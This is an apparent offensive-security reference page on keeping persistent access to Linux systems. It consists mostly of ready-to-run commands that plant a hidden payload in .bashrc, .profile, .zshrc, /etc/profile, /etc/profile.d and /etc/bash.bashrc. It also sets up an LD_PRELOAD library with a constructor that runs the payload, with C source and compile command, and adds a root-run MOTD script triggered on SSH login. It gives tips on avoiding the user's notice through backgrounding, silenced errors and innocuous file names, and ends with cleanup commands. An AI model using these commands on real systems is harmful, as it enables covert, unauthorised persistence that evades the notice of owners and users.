# Linux Shell and Profile Persistence

> Techniques for maintaining persistent access on Linux systems via shell configuration files, profile scripts, and environment variable hijacking.

- **URL:** https://hackindex.io/index.php/platforms/linux/persistence/linux-shell-and-profile-persistence
- **Path:** Linux > Persistence
- **Up:** [Persistence](https://hackindex.io/index.php/platforms/linux/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-24

Shell startup files execute automatically when a user opens a session. Adding a payload to these files gives persistent execution tied to user login without creating cron jobs or services. Profile-based persistence is low-noise but only triggers when a user authenticates: it does not run on reboot without a login event.

Methods covered on this page:

- User shell files: `.bashrc`, `.bash_profile`, `.zshrc`
- System-wide profiles: `/etc/profile`, `/etc/profile.d/`, `/etc/bash.bashrc`
- `LD_PRELOAD`: shared library injection on every binary execution
- MOTD scripts: root-level execution on every SSH login

## User shell startup files

These files execute for every interactive shell or login session of the target user. No root required: only write access to the target user's home directory.

**Add payload to shell startup files**

```bash
# ~/.bashrc: runs on every interactive bash shell
echo '/tmp/.payload.sh &' >> ~/.bashrc

# ~/.bash_profile or ~/.profile: runs on login shells
echo '/tmp/.payload.sh &' >> ~/.bash_profile
echo '/tmp/.payload.sh &' >> ~/.profile

# ~/.zshrc: zsh users
echo '/tmp/.payload.sh &' >> ~/.zshrc

# Run in background with & so the shell does not hang waiting
# Redirect output to avoid visible errors
echo '/tmp/.payload.sh > /dev/null 2>&1 &' >> ~/.bashrc
```

Always append with `&` to background the payload process. Without it, the shell hangs waiting for the payload to exit and the user will notice immediately. Redirect stderr to `/dev/null` to suppress error messages if the payload is not yet present.

## System-wide profile files

These execute for all users and require root to modify. Use when you want persistence across every account rather than a specific user.

**System-wide startup file persistence**

```bash
# /etc/profile: executes for all users on login
echo '/tmp/.payload.sh > /dev/null 2>&1 &' >> /etc/profile

# /etc/profile.d/: drop-in scripts, cleaner approach
cat > /etc/profile.d/sysupdate.sh << 'EOF'
#!/bin/bash
/tmp/.payload.sh > /dev/null 2>&1 &
EOF
chmod +x /etc/profile.d/sysupdate.sh

# /etc/bash.bashrc: all interactive bash shells (Debian/Ubuntu)
echo '/tmp/.payload.sh > /dev/null 2>&1 &' >> /etc/bash.bashrc
```

## LD_PRELOAD persistence

`LD_PRELOAD` forces a shared library to load before any other library when a program is executed. Adding it to a user's environment causes the library (and any code in its constructor function) to run whenever that user executes a binary.

**LD_PRELOAD persistence via profile**

```bash
# Add LD_PRELOAD to user environment
echo 'export LD_PRELOAD=/tmp/.lib.so' >> ~/.bashrc

# The .so must have a constructor that runs the payload
# Minimal C source for the shared library:
# __attribute__((constructor)) void init() {
#     system("/tmp/.payload.sh &");
# }
# Compile: gcc -shared -fPIC -o /tmp/.lib.so lib.c

# Check current LD_PRELOAD settings
echo $LD_PRELOAD
cat /etc/ld.so.preload
```

## MOTD and PAM persistence

The message-of-the-day scripts in `/etc/update-motd.d/` run as root every time a user logs in via SSH. Adding a script there gives root-level execution on every SSH login without touching cron or systemd.

**MOTD-based persistence**

```bash
# Check if update-motd.d exists
ls /etc/update-motd.d/

# Add a script (runs as root on SSH login)
cat > /etc/update-motd.d/99-sysupdate << 'EOF'
#!/bin/bash
/tmp/.payload.sh > /dev/null 2>&1 &
EOF
chmod +x /etc/update-motd.d/99-sysupdate

# Verify by checking existing scripts
cat /etc/update-motd.d/00-header
```

## Cleaning up

**Remove shell and profile persistence**

```bash
# Remove from user files
grep -v '.payload.sh' ~/.bashrc > /tmp/bashrc_clean && mv /tmp/bashrc_clean ~/.bashrc
grep -v '.payload.sh' ~/.bash_profile > /tmp/bp_clean && mv /tmp/bp_clean ~/.bash_profile

# Remove system-wide entries
rm /etc/profile.d/sysupdate.sh
grep -v '.payload.sh' /etc/profile > /tmp/profile_clean && mv /tmp/profile_clean /etc/profile

# Remove MOTD script
rm /etc/update-motd.d/99-sysupdate

# Remove LD_PRELOAD
grep -v 'LD_PRELOAD' ~/.bashrc > /tmp/bashrc_clean && mv /tmp/bashrc_clean ~/.bashrc
```
